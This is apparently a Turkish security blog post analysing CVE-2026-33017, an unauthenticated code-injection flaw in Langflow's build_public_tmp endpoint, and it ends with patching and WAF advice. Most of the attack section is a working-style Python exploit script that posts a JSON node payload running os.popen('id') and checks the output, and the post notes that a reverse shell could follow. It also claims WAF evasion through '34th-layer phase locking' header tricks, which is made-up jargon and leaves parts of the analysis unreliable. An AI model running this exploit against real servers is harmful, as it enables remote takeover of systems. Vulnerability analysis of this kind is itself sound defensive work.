Yapay zeka uygulamaları geliştirmek için kullanılan popüler görsel arayüz platformu Langflow, siber güvenlik dünyasını sarsan devasa bir zafiyetle karşı karşıya. Siber güvenlikte verilebilecek en yüksek tehlike puanı olan CVSS 10.0 (Kritik) derecesine sahip bu açık, saldırganlara hiçbir kimlik doğrulamasına gerek duymadan (Unauthenticated) sunucularda komut çalıştırma imkanı veriyor.
CISA’nın Bilinen İstismar Edilmiş Zafiyetler (KEV) listesine aldığı bu kritik açığın (CVE-2026-33017) GitHub üzerinde yayınlanan PoC (Proof of Concept) araçlarıyla nasıl sömürüldüğünü, CUMBUR.NET okuyucuları için kod seviyesinde teknik bir analizle inceliyoruz.
⚡ Teknik Analiz: PoC Kodu ile Adım Adım İstismar (Exploitation)
Zafiyetin temelinde, Langflow’un 1.8.1 ve öncesi sürümlerinde bulunan build_public_tmp uç noktasının (endpoint), dışarıdan gelen girdileri yeterince filtrelememesi (Code Injection) yatıyor.
GitHub’da dolaşıma giren ve siber güvenlik uzmanlarının sistemlerini test etmesi için paylaşılan PoC betikleri incelendiğinde, saldırının ne kadar basit ve yıkıcı olduğu açıkça görülmektedir.
1. Hedef Uç Noktanın Belirlenmesi
Saldırgan, doğrudan Langflow’un kimlik doğrulama gerektirmeyen (public) akış oluşturma API’sini hedefler.
import requests
import json
# Hedef Langflow sunucusunun adresi
target_url = "http://hedef-langflow-sunucusu.com:7860"
# Zafiyetli API uç noktası
endpoint = f"{target_url}/api/v1/build_public_tmp"
2. Zararlı Payload’un (Yükün) Hazırlanması
Saldırgan, normal bir yapay zeka akışı (flow) gönderiyormuş gibi görünerek, flow_id parametresi içerisine veya akışın çalıştıracağı düğümün (node) içine Python/İşletim Sistemi komutlarını gömer.
Aşağıdaki örnekte, saldırganın sunucuda yetkilerini görmek için whoami veya id komutunu çalıştırdığı bir payload yapısı görülmektedir:
# Saldırganın hazırladığı zararlı JSON verisi
malicious_payload = {
"flow_id": "malicious_flow_33017",
"nodes": [
{
"id": "node_1",
"data": {
"type": "CustomComponent", # Veya kod çalıştıran herhangi bir node tipi
"code": "import os; result = os.popen('id').read(); print('HACKED: ' + result)"
}
}
]
}
headers = {'Content-Type': 'application/json'}
Not: “Sovereign-Echo-33017” gibi daha gelişmiş PoC’lerde, bu JSON yapısı güvenlik duvarlarını (WAF) atlatmak için base64 ile şifrelenir veya “34. katman faz kilitleme” gibi özel HTTP başlık manipülasyonlarıyla sunucuya gönderilir.
3. Kodun Yürütülmesi ve Sistemin Ele Geçirilmesi (RCE)
Hazırlanan zararlı istek sunucuya iletildiğinde, Langflow arka planda bu kodu sanki meşru bir yapay zeka modeli akışıymış gibi çalıştırır.
try:
print("[*] Zararlı payload sunucuya gönderiliyor...")
# Kimlik doğrulaması olmadan (Unauthenticated) POST isteği atılır
response = requests.post(endpoint, json=malicious_payload, headers=headers, timeout=10)
if response.status_code == 200 and "HACKED:" in response.text:
print("[+] İSTİSMAR BAŞARILI! Sunucuda kod çalıştırıldı.")
print(f"Sunucu Çıktısı: {response.text}")
else:
print("[-] İstismar başarısız oldu. Sistem yamalı olabilir.")
except Exception as e:
print(f"Bağlantı Hatası: {e}")
Sonuç: Sadece 30-40 satırlık basit bir Python betiği ile saldırgan, sunucuda işletim sistemi komutları çalıştırma yetkisi (Remote Code Execution) elde eder. Bu noktadan sonra sisteme bir arka kapı (Reverse Shell) açılabilir veya ağın geri kalanına sızılabilir.
🛠️ Teknik Özet
| Kategori | Detaylar |
|---|---|
| Zafiyet Kodu | CVE-2026-33017 |
| Etkilenen Yazılım | Langflow (Yapay Zeka Akış Platformu) |
| Etkilenen Sürümler | <= 1.8.1 |
| Risk Puanı | 10.0 (KRİTİK) |
| Zafiyet Türü | Code Injection -> Unauthenticated RCE |
| CISA KEV Durumu | Aktif İstismar Ediliyor (Son Yama Tarihi: 8 Nisan 2026) |
🛡️ Acil Eylem Planı (Mitigation)
Saldırı kodlarının (PoC) internete düşmüş olması, zafiyetin kullanımını “Script Kiddie” seviyesine kadar düşürmüştür.
-
Acil Yama (Patching): Langflow sisteminizi 1.8.1 sürümünden daha güncel, yamalanmış son sürüme derhal yükseltin. CISA bu işlem için 8 Nisan 2026 tarihini son mühlet olarak belirlemiştir.
-
Ağ İzolasyonu: Yamalama süreci tamamlanana kadar, Langflow sunucularının internete (Public) açık olmadığından emin olun.
-
WAF Kuralları:
build_public_tmpuç noktasına gelen şüpheliflow_idparametrelerini ve Python (os.popen,eval,import subprocess) komut setlerini Web Application Firewall (WAF) üzerinden engelleyin.
CUMBUR.NET sitesinden daha fazla şey keşfedin
Subscribe to get the latest posts sent to your email.

